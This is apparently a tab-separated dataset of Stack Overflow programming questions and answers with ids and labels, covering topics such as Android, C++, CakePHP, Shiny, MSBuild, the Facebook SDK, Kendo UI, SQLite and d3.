30978582	0	 <p>Just point to any <code>View</code> inside the <code>Activity's</code> XML. You can give an id to the root viewGroup, for example, and use:</p> <pre><code>@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main_activity); View parentLayout = findViewById(R.id.root_view); Snackbar.make(parentLayout, "This is main activity", Snackbar.LENGTH_LONG) .setAction("CLOSE", new View.OnClickListener() { @Override public void onClick(View view) { } }) .setActionTextColor(getResources().getColor(android.R.color.holo_red_light )) .show(); //Other stuff in OnCreate(); } </code></pre>
13749077	0	Peel away website effect with javascript only <p>I have seen corner screen peel away effects that use flash (swf files). Does anyone know of code that does this with Javascript/css alone?</p> <p>Thanks</p>
18838055	0	Embed HTML inside JSON request body in ServiceStack <p>I've been working with ServiceStack for a while now and recently a new need came up that requires receiving of some html templates inside a JSON request body. I'm obviously thinking about escaping this HTML and it seems to work but I would prefer consumers not to bother escaping a potentially large template. I know ASP.NET is capable of handling this but I wonder if it can be done with ServiceStack.</p> <p>The following JSON body is received incomplete at the REST endpoint because of the second double quote ...="test...</p> <pre><code>{ "template" : "&lt;html&gt;&lt;body&gt;&lt;div name="test"&gt;&lt;/div&gt;&lt;/body&gt;&lt;/html&gt;" } </code></pre>
40409409	0	Why isn't the copy constructor called twice in the following code? <p>The copy constructor is called when an object is returned from a function by value. Another case is when an object is initialized using another object. In the following code, why isn't the copy constructor called twice?</p> <pre><code>#include &lt;iostream&gt; using namespace std; class A { public: A() { } A(const A&amp; copy) { cout &lt;&lt; "Copy constr.\n"; } A func() { A a; return a; //it's called here } }; void main(void) { A b; A c = b.func(); //not called during initialization. Why? } </code></pre>
26228240	0	 <p>You are aborting before the view is even being rendered, so that's the expected behavior.</p> <p>Your <code>CakeResponse::send()</code> call actually has no effect (apart from possible headers being sent), and the only reason this is not causing an error is because the body that is being echoed is empty at that time, otherwise you'd receive a "<em>headers already sent</em>" error when Cake outputs the rendered data.</p> <p>Personally I'd probably use exceptions instead of this manual sending/aborting stuff, something like</p> <pre><code>if(!$abc) { throw new ForbiddenException(); } // ... </code></pre> <p>or a simple <code>return</code></p> <pre><code>if(!$abc) { return $this-&gt;returnError(); } // ... </code></pre> <p>where <code>returnError()</code> returns <code>$this-&gt;response</code>. Both would make invoking <code>send()</code> and <code>_stop()</code> unnecessary. </p> <p>However, it's of course also possible to manually invoke view rendering </p> <pre><code>protected function returnError($data = null, $message = 'Error', $extraSerialize = array(), $statusCode = 400) { // ... $this-&gt;render(); $this-&gt;response-&gt;statusCode($statusCode); $this-&gt;response-&gt;send(); $this-&gt;_stop(); } </code></pre> <p>that way a proper body would be set for the response.</p> <p>See also</p> <ul> <li><strong><a href="http://book.cakephp.org/2.0/en/views/json-and-xml-views.html" rel="nofollow">http://book.cakephp.org/2.0/en/views/json-and-xml-views.html</a></strong></li> <li><strong><a href="http://book.cakephp.org/2.0/en/development/exceptions.html" rel="nofollow">http://book.cakephp.org/2.0/en/development/exceptions.html</a></strong></li> </ul>
3960167	0	 <pre><code> ... HAVING hits &gt; 10 </code></pre>
13749049	0	 <p>You cannot schedule IO tasks because they do not have a thread associated with them. The Windows Kernel provides thread-less IO operations. Starting these IOs does not involve managed code and the <code>TaskScheduler</code> class does not come into play.</p> <p>So you have to delay starting the IO until you are sure you actually want the network to be hit. You could use <code>SemaphoreSlim.WaitAsync</code> to throttle the amount of tasks currently running. Await the result of that method before starting the individual IO and awaiting that as well.</p>
33395830	0	renderUI conditioned by a reactive value <p>Today I am trying to have a renderUI for which the form and the content depend on the value of a reactiveValues. I am working on a shinydashBoard</p> <p>At initial state, users will click on the button and the form of the renderUI will change. If users click one more time I would like that the renderUI takes the initial form again.</p> <p>Here is my code :</p> <pre><code>library(shiny) library(shinydashboard) sidebar &lt;- dashboardSidebar( ) body &lt;- dashboardBody( uiOutput("Text2Bis") )#dashboardBody header &lt;- dashboardHeader( title = list(icon("star-half-o"),"element-R") #messages, #notifications, #tasks ) ui &lt;- dashboardPage(header, sidebar, body) server &lt;- function(input, output, session) { previewAction &lt;- reactiveValues(temp = F) output$Text2Bis &lt;- renderUI({ if(is.null(input$button)){ box(width = 12,background = NULL, height = 100, actionButton("button","delete") ) } else{ print(input$button) if((isolate(input$button %%2)) == 1){ print(input$button) box(width = 12,background = NULL, height = 100, actionButton("button","delete") ) } else{ print(input$button) box(width = 12,background = NULL, height = 300, actionButton("button","save") ) } } }) } shinyApp(ui, server) </code></pre> <p>I can't understand why my app is not working. It seems that the actionButton is still reinitialized ???</p> <p>Do you have an idea to solve this problem ?</p> <p>Thank you very much in advance !</p> <p>Cheers</p> <p>Cha</p>
14127904	0	WebService (WS) POST in Play 2.0 - Scala <p>When I try to pass a Map to a post, I get this error:</p> <blockquote> <p>Cannot write an instance of scala.collection.immutable.Map[java.lang.String,java.lang.String] to HTTP response. Try to define a Writeable[scala.collection.immutable.Map[java.lang.String,java.lang.String]]</p> </blockquote> <p>Here is my post example:</p> <pre><code>WS.url("http://mysql/endpoint") .post(Map("email" -&gt; "juju@juju.com")).map { response =&gt; Logger.logger.debug("response: " + response.body) } </code></pre> <p>What is happening?</p>
29709380	0	 <p>This denotes a JSON array of three objects:</p> <pre><code>[ { ... }, { ... }, { ... } ] </code></pre> <p>So you cannot deserialize this to a single object. It needs to be deserialized to an array/list by indicating the result should be a List:</p> <pre><code>List&lt;Picture&gt; pictures = JsonConvert.DeserializeObject&lt;List&lt;Picture&gt;&gt;(InputBox.Text); </code></pre>
8139857	0	 <p>First of all, there really isn't any system.out to print to in android. What you should try instead is printing to the log. For information on how to print to the log, check <a href="http://developer.android.com/reference/android/util/Log.html" rel="nofollow">this</a> out. To then see the activity of the log (including messages you printed to it), checkout the <a href="http://developer.android.com/guide/developing/tools/logcat.html" rel="nofollow">logcat</a>.</p> <p>Second, for information on creating an alert dialog, please <a href="http://developer.android.com/guide/topics/ui/dialogs.html#AlertDialog" rel="nofollow">view this documentation</a>.</p>
15102056	0	 <p>Whenever you scroll the window, reposition the #one element to always be on screen. Also, #one should be position: absolute.</p> <pre><code>$(window).scroll(function () { $("#one").css({ left: $(this).scrollLeft() }); }); </code></pre> <p>Here's your fiddle with the new code: <a href="http://jsfiddle.net/9AUbj/15/" rel="nofollow">http://jsfiddle.net/9AUbj/15/</a></p>
26895188	0	 <p>Here's a workaround:</p> <p>Replace all the 0s in Z by NaN, calculate the min, then switch back to 0:</p> <pre><code>clear all clc close all Z(:,:,1) = [-5 0 5 0 0 0 1 0 3]; Z(:,:,2) = [1 0 2 0 0 0 0 0 0]; Z(:,:,3) = [0 0 0 -9 0 4 0 0 0]; Z(:,:,4) = [0 0 0 -2 0 0 0 0 0]; %// Assign NaN to 0 elements Z(Z ==0) = NaN; Zmin = min(Z,[],3); %// Switch back with 0 Zmin(isnan(Zmin)) = 0; %// Same for Z; Z(isnan(Z)) =0; </code></pre> <p>The output looks like this:</p> <pre><code>Zmin Z Zmin = -5 0 2 -9 0 4 1 0 3 Z(:,:,1) = -5 0 5 0 0 0 1 0 3 Z(:,:,2) = 1 0 2 0 0 0 0 0 0 Z(:,:,3) = 0 0 0 -9 0 4 0 0 0 Z(:,:,4) = 0 0 0 -2 0 0 0 0 0 </code></pre>
25868130	0	 <p>You can access <code>$languages</code> in your template very easily.</p> <p>You would do something like this:</p> <pre><code>&lt;ul&gt; {% for element in entity.languages %} &lt;li&gt;{{ element.name }}&lt;/li&gt; {% endfor %} &lt;/ul&gt; </code></pre> <p>I recommend reading the <a href="http://twig.sensiolabs.org/doc/tags/for.html" rel="nofollow">documentation about loops</a> in <strong>Twig</strong>.</p>
4377515	0	 <p><code>\S</code> matches anything but a whitespace, according to <a href="http://www.javascriptkit.com/javatutors/redev2.shtml">this reference</a>.</p>
10366505	0	Rotate Texture2d using rotation matrix <p>I want to rotate 2d texture in cocos2d-x(opengl es) as i searched i should use rotation matrix as this : </p> <blockquote> <p>(x = cos(deg) * x - sin(deg) * y y = sin(deg) * x + cos(deg) * y)</p> </blockquote> <p>but when i want to implement this formula i fail may code is like(i want original x and y to be same ) : i updated my code to this but still not working!</p> <pre><code> GLfloat coordinates[] = { 0.0f, text-&gt;getMaxS(), text-&gt;getMaxS(),text-&gt;getMaxT(), 0.0f, 0.0f, text-&gt;getMaxS(),0.0f }; glMatrixMode(GL_MODELVIEW); glPushMatrix(); GLfloat vertices[] = { rect.origin.x, rect.origin.y, 1.0f, rect.origin.x + rect.size.width, rect.origin.y, 1.0f, rect.origin.x, rect.origin.y + rect.size.height, 1.0f, rect.origin.x + rect.size.width, rect.origin.y + rect.size.height, 1.0f }; glMultMatrixf(vertices); glTranslatef(p1.x, p1.y, 0.0f); glRotatef(a,0,0,1); glBindTexture(GL_TEXTURE_2D, text-&gt;getName()); glVertexPointer(3, GL_FLOAT, 0, vertices); glTexCoordPointer(2, GL_FLOAT, 0, coordinates); glColor4f( 0, 0, 250, 1); glDrawArrays(GL_TRIANGLE_STRIP, 0, 4); glRotatef(-a, 0.0f, 0.0f, -1.0f); glPopMatrix(); </code></pre>
27723335	0	 <p>One of the things I like most about Javascript is the way you can access the properties of an object with <code>object.property</code> as well as <code>object["property"]</code>. In Ruby you can only access the value of a hash with <code>hash["value"]</code>.</p> <p>To answer your question, you will need to find a way of converting <code>list_key</code> and <code>name_key</code> so that it works in Ruby. The best way to do that depends on how you're handling the parsing of the JSON in the first place but I it should be as simple as splitting <code>list_key</code> and <code>name_key</code> up into an array of stings and then accessing those values on the hash.</p> <p>Hope that helps.</p>
38429378	0	 <p>You can do something like this,</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$(function() { function removeNode(str, nodeName) { var pattern = '&lt;'+nodeName+'&gt;[\\s\\w]+&lt;\/'+nodeName+'&gt;'; var regex = new RegExp(pattern, 'gi'); return str.replace(regex, '').replace(/^\s*[\r\n]/gm, ''); } $("#myBtn").on('click', function () { var txt = $("#txtArea").text(); var newText = removeNode(txt, 'PublisherImprintName'); $('#txtArea').text(newText); }); });</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"&gt;&lt;/script&gt; &lt;textarea id="txtArea" rows="10" cols="50"&gt; &lt;PublisherInfo&gt; &lt;PublisherName&gt;Ask question&lt;/PublisherName&gt; &lt;PublisherLocation&gt;ph&lt;/PublisherLocation&gt; &lt;PublisherImprintName&gt;ask stackoverflow&lt;/PublisherImprintName&gt; &lt;PublisherURL&gt;stackoverflow.com&lt;/PublisherURL&gt; &lt;/PublisherInfo&gt; &lt;/textarea&gt; &lt;button id="myBtn"&gt;Button&lt;/button&gt;</code></pre> </div> </div> </p> <p><strong>Edit:</strong></p> <p>For your another question, you can do this..</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$(function() { function removeNodeButRetain(str, nodeName) { var pattern = '&lt;\/?'+nodeName+'&gt;'; var regex = new RegExp(pattern, 'gi'); return str.replace(regex, '').replace(/^\s*[\r\n]/gm, ''); } $("#myBtn").on('click', function() { var txt = $("#txtArea").text(); var newText = removeNodeButRetain(txt, 'PublisherInfo'); $('#txtArea').text(newText); }); });</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"&gt;&lt;/script&gt; &lt;textarea id="txtArea" rows="10" cols="50"&gt; &lt;PublisherInfo&gt; &lt;PublisherName&gt;Ask question&lt;/PublisherName&gt; &lt;PublisherLocation&gt;ph&lt;/PublisherLocation&gt; &lt;PublisherImprintName&gt;ask stackoverflow&lt;/PublisherImprintName&gt; &lt;PublisherURL&gt;stackoverflow.com&lt;/PublisherURL&gt; &lt;/PublisherInfo&gt; &lt;/textarea&gt; &lt;button id="myBtn"&gt;Button&lt;/button&gt;</code></pre> </div> </div> </p>
6943171	0	 <p>You can get horizontal align for this image using for tag "a":</p> <pre><code>text-align: center; </code></pre> <p>But for to get vertical align unfortunately you need to set margin-top for this image with hands using known height of parent div (or, with the same result, padding-top for "a" tag). You can use some jquery plugins for it (just search something like "jquery vertical align plugin" in google, there are many plugins for it) or write your own script.</p>
5068173	0	 <p>You can implement expected behaviour with biltin features of MSBuild 4:</p> <pre><code> &lt;ItemGroup&gt; &lt;DeploymentProjects Include="1_deploy" /&gt; &lt;DeploymentProjects Include="2_deploy" /&gt; &lt;/ItemGroup&gt; &lt;Target Name="CopyMidTierBuildOutput" &gt; &lt;Message Text="Copying midTier Build Output" Importance="High"/&gt; &lt;ItemGroup&gt; &lt;MidTierDeploys Include="$(DeploymentRoot)**\%(DeploymentProjects.Identity)\$(Configuration)\**\*.*"&gt; &lt;DeploymentProject&gt;%(DeploymentProjects.Identity)&lt;/DeploymentProject&gt; &lt;/MidTierDeploys&gt; &lt;/ItemGroup&gt; &lt;Msbuild Targets="CopyDeploymentItem" Projects="$(MSBuildProjectFile)" Properties="ItemFullPath=%(MidTierDeploys.FullPath);ItemRecursiveDir=%(MidTierDeploys.RecursiveDir);ItemDeploymentProject=%(MidTierDeploys.DeploymentProject);Configuration=$(Configuration);DestFolder=$(DestFolder)" /&gt; &lt;/Target&gt; &lt;Target Name="CopyDeploymentItem" &gt; &lt;PropertyGroup&gt; &lt;ItemExcludePath&gt;$(ItemDeploymentProject)\$(Configuration)&lt;/ItemExcludePath&gt; &lt;ItemDestRecursiveDirIndex&gt;$(ItemRecursiveDir.IndexOf($(ItemExcludePath))) &lt;/ItemDestRecursiveDirIndex&gt; &lt;ItemExcludePathLength&gt;$(ItemExcludePath.Length)&lt;/ItemExcludePathLength&gt; &lt;ItemSkippingCount&gt;$([MSBuild]::Add($(ItemDestRecursiveDirIndex), $(ItemExcludePathLength)))&lt;/ItemSkippingCount&gt; &lt;ItemDestRecursiveDir&gt;$(ItemRecursiveDir.Substring($(ItemSkippingCount)))&lt;/ItemDestRecursiveDir&gt; &lt;/PropertyGroup&gt; &lt;Copy SourceFiles="$(ItemFullPath)" DestinationFolder="$(DestFolder)/MidTier/$(ItemDeploymentProject)/$(ItemDestRecursiveDir)" ContinueOnError="false" /&gt; &lt;/Target&gt; </code></pre> <p>See <a href="http://msdn.microsoft.com/en-us/library/dd633440.aspx" rel="nofollow">Property functions</a> for more info.</p>
27125961	0	 <p>HTML entities like <code>&amp;amp;</code> are not a part of URI specification. As far as <a href="https://tools.ietf.org/html/rfc3986" rel="nofollow">RFC 3986</a> is concerned, <code>&amp;</code> is a sub-delimiting character, therefore if a server receives a query string like this:</p> <pre><code>foo=1&amp;amp;bar=2 </code></pre> <p>and parses it to the following key-value pairs:</p> <pre><code>'foo' =&gt; '1', 'amp;bar' =&gt; '2' </code></pre> <p>it is behaving correctly.</p> <p>To make things even more interesting, <code>;</code> is a reserved sub-delimiter, too, but: </p> <blockquote> <p>if a reserved character is found in a URI component and no delimiting role is known for that character, then it must be interpreted as representing the data octet corresponding to that character's encoding in US-ASCII.</p> </blockquote>
24545143	0	 <p>Is the user supplied name important? </p> <p>If it is not, one technique i like to do to normalize file names in that case is to simply hash them with something like sha1 or even md5. Then add your timestamp, and ids or what not to that, this takes care of a lot of issues with special characters such as ".", "\" and "/" ( dot dot dash and directory traversal ) in the file names.</p> <p>@hwnd's regular expression should do the trick, but I though I would throw this out there.</p> <p>so with hashing you'd get cleaner ( but less meaningful ) names like this </p> <pre><code>da39a3ee5e6b4b0d3255bfef95601890afd80709.jpg </code></pre> <p>then you can add your unique numbers on</p> <pre><code>da39a3ee5e6b4b0d3255bfef95601890afd80709-1234568764564558.jpg </code></pre> <p>you could even salt the filename with the timestamp first and then hash them to get filenames all 40 characters long, and the chance of hash collisions is very minimal unless your dealing with 10's of thousands of files, in which case just up the hashing to sha256 etc.</p>
37154863	1	How to multiplex python coroutines( send and receive) in a websocket based chat client via an event loop <p>I am writing a console based chat server based on websockets and asyncio for learning both websockets and asyncio without using any other frameworks like Twisted, Tornado etc .. So far I have established the connection between client and server and am able to unicast and multicast messages between logged in users by writing send and receive in a single coroutine but this makes the clients block on either send or receive. So I tried by splitting up the send and receive coroutines but now after sending the first message to the server the client is unable to send any other message. </p> <p>Problems: </p> <ol> <li>I have two coroutines for receive and send respectively but I am not able to multiplex them to execute concurrently via the event loop. I managed to asynchronize the input from the stdin based on another article on stack overflow but I am still not able to run them concurrently so that send and receive can happen simultaneously.</li> <li>I am not sure if trying to make a connection with the websocket in both the coroutines is the correct way or not.</li> </ol> <p>Below is the code sample for the minimal client that i am using. What I have understood from asyncio till now is that when one of the coroutine is waiting over its "yield from", the other coroutine will get a chance to execute please point out if my understanding of the asyncio is correct or not:</p> <pre><code>import sys import asyncio import websockets qSend = asyncio.Queue() def got_stdin_data(qSend): asyncio.async(qSend.put(sys.stdin.readline())) def myClient_recv(): websocket = yield from websockets.connect('ws://localhost:8765/') while True: recvText = yield from websocket.recv() print("&gt;&gt;&gt; {}".format(recvText)) def myClient_send(): websocket = yield from websockets.connect('ws://localhost:8765/') while True: sendText = yield from qSend.get() yield from websocket.send(sendText) loop = asyncio.get_event_loop() loop.add_reader(sys.stdin, got_stdin_data, qSend) asyncio.async(myClient_recv()) asyncio.async(myClient_send()) loop.run_forever() </code></pre>
1834685	0	 <p>One thing I have noticed through the years is that people never improve their performance if you fix their mistakes. (Most of the time they won't even realize you changed it because something was wrong; they will think you are just a control freak who can't let anyone else's work stand unchanged.) Identify the problem and ask him to fix it. Do as many iterations of this as it takes. </p> <p>Make it clear that a question asked early is far better than a missed deadline because he didn't understand something. Don't get snippy and snappy when he asks a question either. If he thinks he is bothering you, he won't ask. </p> <p>Take some time at first when you give him a new task to sit down and discuss possible solutions. You can save a whole lot of time by directing his design process rather than waiting for a final result to check.</p> <p>Code review his stuff and have him code review yours. Seeing better code will help imporve his process. His questions when trying to understand your code will help you better understand his thought process. </p>
20061640	0	 <p>classpath and path are the evironment variables . usually , you have to put the jdk/bin to path so that u could use java compiler everywhere , classpath is the path of your .class files . the classpath has a default path a period(.) which means the current directory. but when u used the packages . u would either specify the full path of the .class file or put the .class file path in the classpath which would save a lots of works ! </p>
16895525	0	Order of Files collection in FileSystemObject <p>In VBScript, I want to get a list of files in a folder ordered by creation date. I saw that in order to do that I will need to either use a record set (seems like an overkill to me) or sort the collection myself (I think I can avoid it and I want my code to be shorter).</p> <p>Since I am the one creating the files, I create them with names that begin with the date (yyyy_mm_dd) so I though that if I can get the files at least ordered by name then I'm all set. Unfortunately, the <a href="http://msdn.microsoft.com/en-us/library/18b41306%28v=vs.84%29.aspx" rel="nofollow">MSDN documentation of the Files collection from FileSystemObject</a> doesn't say anything about the order of the collection. Does anyone know of some other secret documentation or something like that that can be more specific?</p>
35653053	0	 <p>Actually you can use <code>ToString()</code> , but it depends on your dll version.</p> <p>the correct approach is to use the <code>Month</code> property of the <code>Datetime</code></p> <p>Comparing two datetimes by month</p> <pre><code>Datetime1.Month == Datetime2.Month </code></pre> <p>or if your Datetime is a nullable</p> <pre><code>Datetime1.Value.Month == Datetime2.Value.Month </code></pre> <p>so a correct linq query would be for example</p> <pre><code>(from p in Source where p.DT.Value.Month == RequestedDatetime.Value.Month select p) </code></pre> <p>Hope it helps.</p>
5783951	0	 <p><code>NBSP</code>. You had an invisible non-standard whitespace character before your require statement. That's the only reliable way to reproduce this error.</p> <pre><code>eval( chr(0xA0) . ' require_once(1); ' ); # that's nbsp // PHP Parse error: syntax error, unexpected T_REQUIRE_ONCE in </code></pre> <p><code>0xA0</code>/nbsp gets interpreted as bareword at that position. Basically the same as having a constant right in front of your statement:</p> <pre><code>ASCII require_once(123); </code></pre>
36195918	0	 <p>Add one anwser, which i think is more clear:</p> <pre><code>var calculateLayout = function(a,b) { console.log('a is ' + a + ' and b is ' + b); } var debounceCalculate = _.debounce(function(a, b){ calculateLayout(a, b); }, 300); debounceCalculate(1, 2); </code></pre>
30797701	0	 <p>I've got the same issue. The cause was I'm using the Spring Java Config for Spring Security using the DSL. Using the current Spring Security 4.0.1, the Configurer will create a SessionRegistry only on demand and (it looks like) not as a registered bean component.</p> <p>I have fixed this with an explicit definition of the SessionRegistry.</p> <pre><code> http .sessionManagement() .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED) .sessionFixation() .migrateSession() .maximumSessions(10) .sessionRegistry(sessionRegistry()) // &lt;&lt; this here! .and() .and() </code></pre> <p>and</p> <pre><code>@Bean public SessionRegistry sessionRegistry() { return new SessionRegistryImpl(); } </code></pre> <p>Unless Hazelcast's <code>WebFilter</code> is used, this is not required since Spring's <code>SessionManagementConfigurer</code> will ensure an instance of <code>SessionRegistry</code> will be created. But it cannot be find using the type <code>SessionRegistry</code>...</p>
17844777	0	 <p>Your Preferences in XML, even if you set <code>android:inputType="number"</code> are still stored as a String</p> <p>You have 2 choices: </p> <p>1) the 'not-so-nice': <code>Integer.parseInt( preferences.getString("defaultTip", "15"));</code></p> <p>2) Using your own type of Integer Preference. More complicated to set in first place but really better (similar question here: <a href="http://stackoverflow.com/a/3755608/327402">http://stackoverflow.com/a/3755608/327402</a>)</p>
29766573	0	 <p>For SDK 4.0 : </p> <p>U should add a button and in button action use the below code :</p> <pre><code>- (IBAction)loginButtonClicked:(id)sender { FBSDKLoginManager *login = [[FBSDKLoginManager alloc] init]; [login logInWithReadPermissions:@[@"email"] handler:^(FBSDKLoginManagerLoginResult *result, NSError *error) { if (error) { // Process error NSLog(@"error %@",error); } else if (result.isCancelled) { // Handle cancellations NSLog(@"Cancelled"); } else { if ([result.grantedPermissions containsObject:@"email"]) { // Do work NSLog(@"%@",result); NSLog(@"Correct"); } } }]; } </code></pre> <p><strong>Updated :</strong> To receive Users Information </p> <pre><code> - (IBAction)loginButtonClicked:(id)sender { FBSDKLoginManager *login = [[FBSDKLoginManager alloc] init]; [login logInWithReadPermissions:@[@"email"] handler:^(FBSDKLoginManagerLoginResult *result, NSError *error) { if (error) { // Process error NSLog(@"error %@",error); } else if (result.isCancelled) { // Handle cancellations NSLog(@"Cancelled"); } else { if ([result.grantedPermissions containsObject:@"email"]) { // Do work [self fetchUserInfo]; } } }]; } -(void)fetchUserInfo { if ([FBSDKAccessToken currentAccessToken]) { NSLog(@"Token is available"); [[[FBSDKGraphRequest alloc] initWithGraphPath:@"me" parameters:nil] startWithCompletionHandler:^(FBSDKGraphRequestConnection *connection, id result, NSError *error) { if (!error) { NSLog(@"Fetched User Information:%@", result); } else { NSLog(@"Error %@",error); } }]; } else { NSLog(@"User is not Logged in"); } } </code></pre>
21380305	0	Server Side Paging in Kendo Grid? <p>I want client side grid paging in Kendo Grid. In grid only first 50 or 100 data will be shown in first page. And when customer click next page, other 50 or 100 data will be shown. I don't want to get all data from my server. because there will be million data in database and customer doesn't want to wait service to get all data from server. when he/she click next page, other data should request from server. How can I do it?</p> <p>my controller</p> <pre><code>[HttpGet] public JsonResult Getdata() { var reports = db.ActivityLog.OrderBy(c =&gt; c.dateTime).ToList(); var collection = reports.Select(x =&gt; new { username = x.uName, location = x.locName, devices = x.devName }); return Json(collection, JsonRequestBehavior.AllowGet); } </code></pre> <p>my view function handleDataFromServer() {</p> <pre><code> $("#grid").data("kendoGrid").dataSource.read(); } window.setInterval("handleDataFromServer()", 10000); $(document).ready(function () { $("#grid").kendoGrid({ sortable: true, pageable: { input: true, numeric: false }, selectable: "multiple", dataSource: { transport: { read: "/Home/Getdata", type: "json" } }, columns: [ { field: "username", width: "80px" }, { field: "location", width: "80px" }, { field: "devices", width: "80px" }] }); }); </code></pre>
33272926	0	Determine if two unsorted arrays are identical? <p>Given two <strong>unsorted</strong> arrays <code>A</code> and <code>B</code> with distinct elements, determine if <code>A</code> and <code>B</code> can be rearranged so that they are identical. </p> <p>My strategy was as follows: </p> <ol> <li>First, use a deterministic selection algorithm of <strong>O(N)</strong> time to find the <strong>Max</strong> of <code>A</code> and <strong>Max</strong> of <code>B</code>, if they don't have the same <strong>Max</strong>, we can automatically declare that they are <strong>not</strong> identical, otherwise, move to step 2.</li> <li>Merge the two arrays together and create an array <code>C</code> of size <strong>2N</strong>.</li> <li>Use the <em>counting sort algorithm</em> by creating an array <code>D</code> of size <strong>Max(A)</strong> and scanning <code>C</code> and bumping the counters of the appropriate index in <code>D</code> <em>(we don't actually need to complete the counting sort algorithm, we just need this intermediate step)</em>.</li> <li>Scan the <code>D</code> array, if any <code>D[i] = 1</code>, we know that the arrays are not identical, otherwise they are identical.</li> </ol> <p><strong>Claim:</strong> Time Complexity O(N), and <strong>no</strong> constraints on space.</p> <p>Is this a correct algorithm ?</p>
25453708	0	 <p>Each any() usage is converted into it's own subquery. If you need to combine multiple conditions you will need to write the subquery yourself.</p> <p>any() isn't a join alternative, but a subquery exists shortcut. Maybe that helps.</p>
9534072	0	 <p>There is an example, if this is what you are looking for: <a href="http://www.dynamicdrive.com/dynamicindex8/window3.htm" rel="nofollow">Animated Window Opener Script</a></p>
36885038	0	 <p>Just a quick shot here. Try this one, instead of existing statement</p> <pre><code>&lt;Modal ... onAfterOpen={() =&gt; this.context.executeAction(LoadUsersByDepartment, 8)} ... &gt; </code></pre> <p>What your code does is:<br> when modal is opened, execute the result from <code>this.context.executeAction(LoadUsersByDepartment, 8)</code> call. </p> <p>Adjusted code executes your action (not it's result) when modal is opened.</p>
2517791	0	How can I get the GUID from a PDB file? <p>Does anyone know how to get the GUID from a PDB file?</p> <p>I'm using Microsoft's Debug Interface Access SDK </p> <p><a href="http://msdn.microsoft.com/en-us/library/f0756hat.aspx" rel="nofollow noreferrer">http://msdn.microsoft.com/en-us/library/f0756hat.aspx</a></p> <p>and getting E_PDB_INVALID_SIG when passing in the GUID i expect when trying to load the PDB.</p> <p>I'd just like to know the GUID of the PDB so I can be certain that it's mismatching and not just a PDB that's perhaps corrupted somehow.</p> <p>Is there a tool that can do this? I've tried dia2dump and dumpbin, but with no joy...</p> <p>Many thanks,</p> <p>thoughton.</p>
16897503	0	Increasing Limit of Attached Databases in SQLite from PDO <p>I'm working on a project that should benefit greatly from using one database file per each table, mostly because I'm trying to <a href="http://stackoverflow.com/a/811862/89771">avoid having the database grow too large</a> but also because of <a href="http://stackoverflow.com/a/1712873/89771">file locking issues</a>.</p> <p>I thought of using the <a href="http://www.sqlite.org/lang_attach.html" rel="nofollow"><code>ATTACH</code> statement</a> to have a "virtual" database with all my tables, but I just found out that while the upper limit of attached databases is 62 (which would be totally acceptable for me), the default limit of attached databases is in fact 10, from the <a href="http://www.sqlite.org/limits.html" rel="nofollow">SQLite limits page</a>:</p> <blockquote> <p><strong>Maximum Number Of Attached Databases</strong></p> <p>The ATTACH statement is an SQLite extension that allows two or more databases to be associated to the same database connection and to operate as if they were a single database. The number of simultaneously attached databases is limited to SQLITE_MAX_ATTACHED which is set to 10 by default. The code generator in SQLite uses bitmaps to keep track of attached databases. That means that the number of attached databases cannot be increased above 62.</p> </blockquote> <p>Since I will need to support more than 10 tables, my question is, how do I set the <code>SQLITE_MAX_ATTACHED</code> variable to a higher value from PHP (using PDO with SQLite 3)?</p>
23291975	0	d3 - Scaling @ Normalized Stacked Bar Chart <p>I want to code a reusable chart in d3 - a "normalized" stacked bar chart. The data are scaled from 0% -100% on the Y-axis - see: <a href="http://bl.ocks.org/mbostock/3886394" rel="nofollow">http://bl.ocks.org/mbostock/3886394</a> I have understood that I need to calculate the inverse value of the data, to scale from 0 (Y: lowest value 0%) to 1 (Y: highest value 100%). </p> <pre><code>var y = d3.scale.linear() .range([height, 0]); // no data domain dataSet = dataSet.map(function (d) { return d.map(function (p, i) { return { x: i, y: (1 / (p.Value / 100))}; }); }); </code></pre> <p>However, my scaling is not working correctly </p> <ul> <li>please have a look @ <a href="http://jsfiddle.net/dB96T/1/" rel="nofollow">http://jsfiddle.net/dB96T/1/</a></li> </ul> <p>thx!!</p>
11340086	0	 <p>I can see the dots fine in IE 9. Exact version as yours. Only difference in my code is a valid HTML5 doctype at the top.</p> <p>Without a valid doctype IE could be switching its rendering for your page to quirks mode, or a rendering mode for IE8/IE7 which would not handle the pseudo selectors like first-child or generated content.</p> <p>See your page <a href="http://browserling.com/encoder.html#uri=http://jsbin.com/ebasez/&amp;browser=explorer/9.0" rel="nofollow">here in browserling</a>.</p>
13811471	0	 <p>MySQL can handle the load, so the question now is how do you want to use the data?</p> <p>If the churches are separate, do not need to interoperate and even prefer to remain completely independent, then the multi-install case may be a good fit.</p> <p>On the other hand, if you want to integrate the data from the churches, then there should be one database.</p> <p>Whenever thinking of doing a database, please think of how you want to use it. So much comes down to data interoperability (or lack thereof).</p>
5011519	0	 <p>I think the 1st answer is the best though you can use images in borders now, try using a png image with transparency (via photoshop) use the border-image property, there's so many ways to use it you may find another style you prefer in the research. </p> <p><a href="http://www.css3.info/preview/border-image/" rel="nofollow">http://www.css3.info/preview/border-image/</a></p>
5895204	0	Is there a WPF Control that can display my overview ? How can I use it? <p>I am moving from a place with 2 rooms, to a place with 3 rooms. I need an application that generates an overview regarding the stuff I need to move. It needs to display for me, how many boxes need to be moved from one room to another. Correction: (The boxes need to be items in general so I can do the same for say, plants)</p> <p><img src="https://i.stack.imgur.com/GLbMB.png" alt="Moving stuff overview"></p>
